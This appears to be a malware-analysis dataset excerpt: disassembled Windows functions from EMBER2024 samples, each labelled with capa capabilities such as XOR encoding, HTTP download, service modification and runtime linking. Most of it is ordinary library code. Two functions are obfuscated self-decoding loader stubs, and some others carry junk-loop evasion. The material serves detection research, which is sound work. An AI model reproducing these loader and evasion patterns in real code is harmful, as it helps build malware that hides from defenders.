joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40aff5
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
mov edi, edi
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004058cd
and dword [ebp - 4], 0
mov esi, eax
cmp dword [0x414374], 0
jne 0x40b0a6
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
or edi, edi
je 0x40b157
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call ebx
test eax, eax
je 0x40b157
push eax
call fcn.0040585b
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x414374], eax
call ebx
push eax
call fcn.0040585b
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x414378], eax
call ebx
push eax
call fcn.0040585b
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x41437c], eax
call ebx
push eax
call fcn.0040585b
pop ecx
mov dword [0x414384], eax
test eax, eax
je 0x40b0a6
push str.GetProcessWindowStation
push edi
call ebx
push eax
call fcn.0040585b
pop ecx
mov dword [0x414380], eax
mov eax, dword [0x414380]
cmp eax, esi
je 0x40b0fe
cmp dword [0x414384], esi
je 0x40b0fe
push eax
call fcn.004058d6
push dword [0x414384]
mov edi, eax
call fcn.004058d6
or edi, edi
pop ecx
pop ecx
mov ebx, eax
je 0x40b0fe
or ebx, ebx
je 0x40b0fe
call edi
or eax, eax
je 0x40b0f5
lea edi, [ebp - 8]
push edi
lea ecx, [ebp - 0x14]
push 0xc
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40b0f5
test byte [ebp - 0xc], 1
jne 0x40b0fe
or dword [ebp + 0x10], 0x200000
jmp 0x40b137
mov eax, dword [0x414378]
cmp eax, esi
je 0x40b137
push eax
call fcn.004058d6
pop ecx
or eax, eax
je 0x40b137
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40b137
mov eax, dword [0x41437c]
cmp eax, esi
je 0x40b137
push eax
call fcn.004058d6
or eax, eax
pop ecx
je 0x40b137
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x414374]
call fcn.004058d6
test eax, eax
pop ecx
je 0x40b157
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40b159
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40e14c
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
push 1
xor esi, esi
push esi
push esi
push dword [ebp + 8]
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
call fcn.00409faf
mov dword [ebp - 0x18], eax
and eax, edx
sub esp, 0xfffffff0
cmp eax, 0xffffffff
mov dword [ebp - 0x14], edx
je 0x40e1d4
push 2
push esi
push esi
push dword [ebp + 8]
call fcn.00409faf
mov ecx, eax
and ecx, edx
sub esp, 0xfffffff0
cmp ecx, 0xffffffff
je 0x40e1d4
mov edi, dword [ebp + 0x10]
mov ebx, dword [ebp + 0xc]
sub ebx, eax
sbb edi, edx
js 0x40e269
jg 0x40e1ad
cmp ebx, esi
jbe 0x40e269
mov esi, 0x1000
push esi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 4], eax
or eax, eax
jne 0x40e1e0
call fcn.00405812
mov dword [eax], 0xc
call fcn.00405812
mov eax, dword [eax]
pop edi
pop esi
pop ebx
leave
ret
push 0x8000
push dword [ebp + 8]
call fcn.0040e302
pop ecx
pop ecx
mov dword [ebp - 8], eax
test edi, edi
jl 0x40e200
jg 0x40e1fc
cmp ebx, esi
jb 0x40e200
mov eax, esi
jmp 0x40e202
mov eax, ebx
push eax
push dword [ebp - 4]
push dword [ebp + 8]
call fcn.00408738
sub esp, 0xfffffff4
cmp eax, 0xffffffff
je 0x40e24c
cdq
sub ebx, eax
sbb edi, edx
js 0x40e223
jg 0x40e1f2
or ebx, ebx
ja 0x40e1f2
mov ebx, dword [ebp - 0x10]
push dword [ebp - 8]
push dword [ebp + 8]
call fcn.0040e302
pop esi
pop ecx
push dword [ebp - 4]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
jmp 0x40e2d2
call fcn.00405825
cmp dword [eax], 5
jne 0x40e261
call fcn.00405812
mov dword [eax], 0xd
or ebx, 0xffffffff
mov dword [ebp - 0xc], ebx
jmp 0x40e226
cmp edi, esi
jg 0x40e2de
jl 0x40e273
cmp ebx, esi
jae 0x40e2de
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00409faf
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
je 0x40e1d4
push dword [ebp + 8]
call fcn.0040c8e6
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
neg eax
sbb eax, eax
neg eax
dec eax
cdq
mov dword [ebp - 0x10], eax
and eax, edx
cmp eax, 0xffffffff
mov dword [ebp - 0xc], edx
jne 0x40e2de
call fcn.00405812
mov dword [eax], 0xd
call fcn.00405825
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x10]
and ebx, dword [ebp - 0xc]
cmp ebx, 0xffffffff
je 0x40e1d4
push esi
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push dword [ebp + 8]
call fcn.00409faf
and eax, edx
sub esp, 0xfffffff0
cmp eax, 0xffffffff
je 0x40e1d4
xor eax, eax
jmp 0x40e1db

Function at 0x40e593
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov eax, dword [0x412008]
xor eax, ebp
mov dword [ebp - 4], eax
push 6
lea eax, [ebp - 0xc]
push eax
push 0x1004
push dword [ebp + 8]
mov byte [ebp - 6], 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
or eax, eax
jne 0x40e5c6
or eax, 0xffffffff
jmp 0x40e5d0
lea eax, [ebp - 0xc]
push eax
call fcn.0040e790
pop ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004033e4
leave
ret
Function at 0x405a71
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x238
mov eax, 0x40d9fb
call fcn.0040c9ff
mov dword [ebp - 0x21c], ecx
movzx eax, word [ebp + 8]
xor edi, edi
mov esi, dword [0x415350]
inc edi
push 0xf0
push eax
push esi
call dword [sym.imp.kernel32.dll_FindResourceW]
test eax, eax
je 0x405be2
push eax
push esi
call dword [sym.imp.kernel32.dll_LoadResource]
test eax, eax
je 0x405be2
push eax
call dword [sym.imp.kernel32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x405be2
movzx eax, word [esi]
xor ecx, ecx
cmp cx, ax
je 0x405be2
mov ecx, dword [esi + 4]
mov ebx, eax
movzx eax, word [esi + 2]
add esi, 8
mov dword [ebp - 0x220], ecx
mov ecx, 0x403
cmp cx, ax
jne 0x405b5b
push 3
lea eax, [ebp - 0x110]
push esi
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x114], eax
call main
push dword [ebp - 0x114]
mov eax, dword [ebp - 0x21c]
and dword [ebp - 4], 0
push 0
push 0x143
push ebx
push dword [eax + 4]
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
xor ecx, ecx
cmp eax, 0xffffffff
lea eax, [ebp - 0x110]
cmove edi, ecx
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x114], eax
je 0x405bd4
push dword [ebp - 0x114]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
jmp 0x405bd4
mov ecx, 0x1234
cmp cx, ax
jne 0x405bd4
or dword [ebp - 0x240], 0xffffffff
lea eax, [ebp - 0x214]
push 3
push esi
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x244], 1
mov dword [ebp - 0x218], eax
call main
mov eax, dword [ebp - 0x218]
lea ecx, [ebp - 0x214]
mov dword [ebp - 0x23c], eax
cmp eax, ecx
je 0x405bae
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
lea eax, [ebp - 0x244]
push eax
mov eax, dword [ebp - 0x21c]
push 0
push 0x40b
push ebx
push dword [eax + 4]
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
xor ecx, ecx
cmp eax, 0xffffffff
cmove edi, ecx
add esi, dword [ebp - 0x220]
test edi, edi
jne 0x405ac9
mov eax, edi
call fcn.0040c9ba
ret 4

Function at 0x409d32
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x409d41
pop dword [ebp - 8]
mov eax, 0xca04df5c
add eax, 0x363bbde5
sub dword [ebp - 8], eax
push 0x40
push 0x1000
push 0x35d61
push 0
mov eax, 0x75aabf53
sub eax, 0x7569de8b
add eax, dword [ebp - 8]
call dword [eax]
mov ecx, 0x6a2c5288
add ecx, 0x95d3eac5
mov edi, eax
mov edx, 0xf6eefa9d
sub edx, 0xf6ad629d
add edx, dword [ebp - 8]
mov esi, 0xd825d5b6
sub esi, 0x71185ad3
sub dword [ebp - 4], 0x9b94ecdb
mov ebx, dword [edx]
xor ebx, esi
add dword [ebp - 4], esi
mov dword [edi], ebx
add dword [ebp - 4], 0x52417892
add edi, 4
add edx, 0x6c6ae0ab
sub edx, 0x6c6ae0a7
loop 0x409da0
add eax, 0xa4f6c997
sub eax, 0xa4f5e190
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x199dfb9c
sub ecx, 0x195dfb9c
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x4010a0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40da6b
mov eax, dword fs:[0]
push eax
mov eax, 0x1034
call fcn.0040a2e0
mov eax, dword [0x41205c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1040], 0
push 0
push 0
push 0
push 1
push str.DownloadFile
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x1030], eax
cmp dword [ebp - 0x1030], 0
jne 0x40112e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.InternetOpen_failed__error__lu_n
call fcn.00403b41
add esp, 8
mov ecx, dword [ebp + 8]
call fcn.00402220
mov eax, dword [ebp - 0x1040]
or eax, 1
mov dword [ebp - 0x1040], eax
mov eax, dword [ebp + 8]
jmp 0x40129d
push 0
push 0x80000000
push 0
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x1030]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 0x1018], eax
cmp dword [ebp - 0x1018], 0
jne 0x401199
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.InternetOpenUrl_failed__error__lu_n
call fcn.00403b41
add esp, 8
mov eax, dword [ebp - 0x1030]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp + 8]
call fcn.00402220
mov ecx, dword [ebp - 0x1040]
or ecx, 1
mov dword [ebp - 0x1040], ecx
mov eax, dword [ebp + 8]
jmp 0x40129d
lea ecx, [ebp - 0x102c]
call fcn.00402220
mov dword [ebp - 4], 0
mov dword [ebp - 0x1034], 0
mov dword [ebp - 0x101c], 0x1000
lea edx, [ebp - 0x1034]
push edx
push 0x1000
lea eax, [ebp - 0x1014]
push eax
mov ecx, dword [ebp - 0x1018]
push ecx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4011ec
cmp dword [ebp - 0x1034], 0
jne 0x401202
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.InternetReadFile_failed__error__lu_n
call fcn.00403b41
add esp, 8
jmp 0x401250
lea edx, [ebp - 0x103c]
push edx
lea ecx, [ebp - 0x102c]
call fcn.004022f0
mov eax, dword [eax]
mov dword [ebp - 0x1038], eax
mov ecx, dword [ebp - 0x1034]
lea edx, [ebp + ecx - 0x1014]
push edx
lea eax, [ebp - 0x1014]
push eax
mov ecx, dword [ebp - 0x1038]
push ecx
lea ecx, [ebp - 0x102c]
call fcn.00402c30
cmp dword [ebp - 0x1034], 0
ja 0x4011bf
mov edx, dword [ebp - 0x1018]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x1030]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
lea ecx, [ebp - 0x102c]
push ecx
mov ecx, dword [ebp + 8]
call fcn.00402250
mov edx, dword [ebp - 0x1040]
or edx, 1
mov dword [ebp - 0x1040], edx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x102c]
call fcn.004022d0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040358f
mov esp, ebp
pop ebp
ret
Function at 0x4012c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x4102d8
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 4]
push ecx
call fcn.0040365c
add esp, 0xc
cmp dword [ebp - 4], 0
jne 0x4012f2
push str.Failed_to_open_file_for_writing_n
call fcn.00403b41
add esp, 4
xor al, al
jmp 0x401341
mov edx, dword [ebp - 4]
push edx
mov ecx, dword [ebp + 0xc]
call fcn.00402320
push eax
push 1
mov ecx, dword [ebp + 0xc]
call fcn.00402360
push eax
call fcn.00403d4a
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
push eax
call fcn.00403e82
add esp, 4
mov ecx, dword [ebp + 0xc]
call fcn.00402320
cmp dword [ebp - 8], eax
je 0x40133f
push str.Error_writing_to_file_n
call fcn.00403b41
add esp, 4
xor al, al
jmp 0x401341
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x401370
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 8], 0
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4013a8
push 0
push str.system_error
push str.Waiting_for_object_failed
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov dword [ebp - 0x14], 0x2bc
push 0
push 0
lea eax, [ebp - 0x10]
push eax
push 0x401350
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x102
je 0x4013ea
mov dword [ebp - 8], 1
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x401410
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push 0
push 0x2bc
push 1
push 0
call dword [sym.imp.USER32.dll_SetTimer]
mov dword [ebp - 4], eax
push 0
push 0
lea eax, [ebp - 4]
push eax
push 0x401400
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], 0
push 0
push 0
push 0
lea ecx, [ebp - 0x20]
push ecx
call dword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x4014c6
cmp dword [ebp - 0x1c], 0x113
jne 0x4014b0
mov edx, dword [ebp - 0x18]
cmp edx, dword [ebp - 4]
jne 0x4014b0
mov dword [ebp - 0x2c], 0
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x4014a2
cmp dword [ebp - 0x2c], 0x103
jne 0x40149b
mov dword [ebp - 0x24], 0
jmp 0x4014a2
mov dword [ebp - 0x24], 1
mov edx, dword [ebp - 4]
push edx
push 0
call dword [sym.imp.USER32.dll_KillTimer]
jmp 0x4014c6
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea ecx, [ebp - 0x20]
push ecx
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x40144b
mov eax, dword [ebp - 0x24]
mov esp, ebp
pop ebp
ret
Function at 0x40358f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41205c]
jne 0x403599
repz ret
jmp fcn.00404157

Function at 0x40aa9e
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41205c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00407d56
and dword [ebp - 0x14], 0
cmp dword [0x413c54], 0
mov dword [ebp - 0x18], eax
jne 0x40ab51
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40abf9
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40abf9
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x413c54], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x413c58], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x413c5c], eax
call edi
push eax
call esi
mov dword [0x413c64], eax
test eax, eax
je 0x40ab51
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x413c60], eax
mov eax, dword [0x413c60]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40abaa
cmp dword [0x413c64], ecx
je 0x40abaa
push eax
call esi
push dword [0x413c64]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40abaa
test ebx, ebx
je 0x40abaa
call edi
test eax, eax
je 0x40aba1
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40aba1
test byte [ebp - 8], 1
jne 0x40abaa
or dword [ebp + 0x10], 0x200000
jmp 0x40abdd
mov eax, dword [0x413c58]
cmp eax, dword [ebp - 0x18]
je 0x40abdd
push eax
call esi
test eax, eax
je 0x40abdd
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40abdd
mov eax, dword [0x413c5c]
cmp eax, dword [ebp - 0x18]
je 0x40abdd
push eax
call esi
test eax, eax
je 0x40abdd
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x413c54]
call esi
test eax, eax
je 0x40abf9
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40abfb
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040358f
leave
ret
Function at 0x1000615c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x1000616b
pop dword [ebp - 8]
mov eax, 0xa30d9179
sub eax, 0x930d300e
sub dword [ebp - 8], eax
push 0x40
push 0x1000
push 0x3ae4a
push 0
mov eax, 0x5a39b51b
add eax, 0xb5c7ac25
add eax, dword [ebp - 8]
call dword [eax]
mov ecx, 0x25487017
sub ecx, 0x254824c2
mov edi, eax
mov ebx, 0x8e07da0f
sub ebx, 0x7e05960f
add ebx, dword [ebp - 8]
mov esi, 0x65fbfd62
add esi, 0x4b12b908
mov dword [ebp - 4], 0xc121404e
mov edx, dword [ebx]
xor dword [ebp - 4], edx
sub edx, esi
mov dword [edi], edx
xor dword [ebp - 4], edx
add edi, 4
add ebx, 0x24a23341
add ebx, 0xdb5dccc3
loop 0x100061ca
add eax, 0x40590c91
sub eax, 0x4057ec6a
xor ebx, ebx
add ebx, eax
add eax, 0xef93cdbc
add eax, 0x106c3249
mov ecx, 0x3769f4b1
sub ecx, 0x2769f4b1
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x1000e8d0
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x3c
push esi
mov esi, dword [eax + 8]
push edi
mov edi, dword [ebp + 0x10]
add esi, 0x568
push 0x10017bc8
push edi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
pop ecx
pop ecx
test eax, eax
je 0x1000e959
push str.file:__
push edi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
pop ecx
pop ecx
test eax, eax
je 0x1000e959
push dword [ebp + 0xc]
push edi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
pop ecx
pop ecx
test eax, eax
je 0x1000e959
push 0x38
lea eax, [ebp - 0x38]
mov dword [ebp - 0x3c], 0x3c
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x3c]
push eax
push 0
push 0
push edi
call dword [sym.imp.wininet.dll_InternetCrackUrlW]
test eax, eax
je 0x1000e95c
mov eax, dword [ebp - 0x30]
cmp eax, 1
je 0x1000e955
add eax, 0xfffffffd
cmp eax, 1
ja 0x1000e95c
mov esi, edi
jmp 0x1000e95c
mov esi, dword [ebp + 0xc]
push esi
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
call fcn.1000615c
add esp, 0x10
pop edi
pop esi
leave
ret 0x20
Function at 0x10021d3a
Capabilities:
Modify service

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c
push ebx
mov dword [esp + 0xc], 0x2754
cmp dword [esp + 0xc], 0x29c2
push esi
push edi
jle 0x10021e00
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x169c
push 0x25ca
push 0x1975
push ebx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
mov esi, ebx
mov dword [esp + 0x10], ebx
mov edi, ebx
mov dword [esp + 0xc], edi
and dword [esp + 0x1c], 0
lea eax, [edi + esi]
mov esi, dword [esp + 0x1c]
mov edi, eax
mov dword [esp + 0x18], eax
and edi, ebx
mov eax, edi
lea ecx, [esp + 0x20]
xor eax, esi
cdq
push edx
push eax
call fcn.1000d99a
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10021db5
mov eax, dword [eax]
push eax
call fcn.10053526
pop ecx
push 0
push 1
lea ecx, [esp + 0x28]
call fcn.1001d1c8
inc esi
cmp esi, 0x7880
jl 0x10021d9b
mov esi, dword [esp + 0x10]
inc ebx
mov edi, dword [esp + 0xc]
cmp ebx, 0x3f79
jl 0x10021d87
inc edi
mov dword [esp + 0xc], edi
push 0
pop ebx
cmp edi, 0x268e
jl 0x10021d87
inc esi
mov dword [esp + 0x10], esi
cmp esi, 0x448a
jl 0x10021d81
cmp dword [esp + 0x14], 0x2383
jge 0x10021e15
push 0x1000943c
call fcn.10053526
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1002e1d1
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x1002e254
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
lea eax, [ebp + 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x1002e248
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 4]
mov dword [eax], 0
jmp 0x1002e229
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 1
jge 0x1002e246
mov eax, dword [ebp - 4]
push dword [eax]
mov ecx, dword [ebp - 0x1c]
call fcn.1001cda9
mov dword [eax], 0x8c20e5e2
jmp 0x1002e21e
jmp 0x1002e252
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
jmp 0x1002e270
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x24], eax
push dword [ebp - 0x20]
push dword [ebp - 0x24]
push 1
call fcn.1002d19b
add esp, 0xc
mov esp, ebp
pop ebp
ret
Function at 0x100333dd
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100695f9
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x1c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x20], 0x44c8
mov dword [ebp - 0x24], 0x1000a710
cmp dword [ebp - 0x20], 0x46b2
jle 0x10033490
and dword [ebp - 0x1c], 0
jmp 0x10033423
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x303
jge 0x10033483
and dword [ebp - 0x14], 0
jmp 0x10033439
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x3df2
jge 0x10033481
and dword [ebp - 0x18], 0
jmp 0x1003344f
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x5081
jge 0x1003347f
mov eax, dword [ebp - 0x14]
cdq
idiv dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov ecx, edx
shl eax, cl
cdq
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], edx
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
mov ecx, 0x10612c98
call fcn.1001cada
jmp 0x10033448
jmp 0x10033432
jmp 0x1003341c
push 0
push 0x1ed5
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push dword [ebp + 0xc]
push dword [ebp + 8]
push 0x7165
push dword [ebp + 0x10]
push 0x2df4
push 1
call fcn.100334fe
add esp, 0x18
and dword [ebp - 4], 0
cmp dword [ebp - 0x20], 0x417f
jge 0x100334c7
mov edx, dword [ebp - 0x24]
mov ecx, 0x10612c98
call fcn.1001f052
jmp 0x100334e3
or dword [ebp - 4], 0xffffffff
jmp 0x100334ed
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10047468
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x10047499
mov eax, dword [ebp + 0x18]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
push 0x74f5
push 1
push dword [ebp - 8]
push dword [ebp - 0xc]
call fcn.100474d6
add esp, 0x10
jmp 0x100474d2
lea eax, [ebp + 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x100474bb
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
jmp 0x100474d2
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov esp, ebp
pop ebp
ret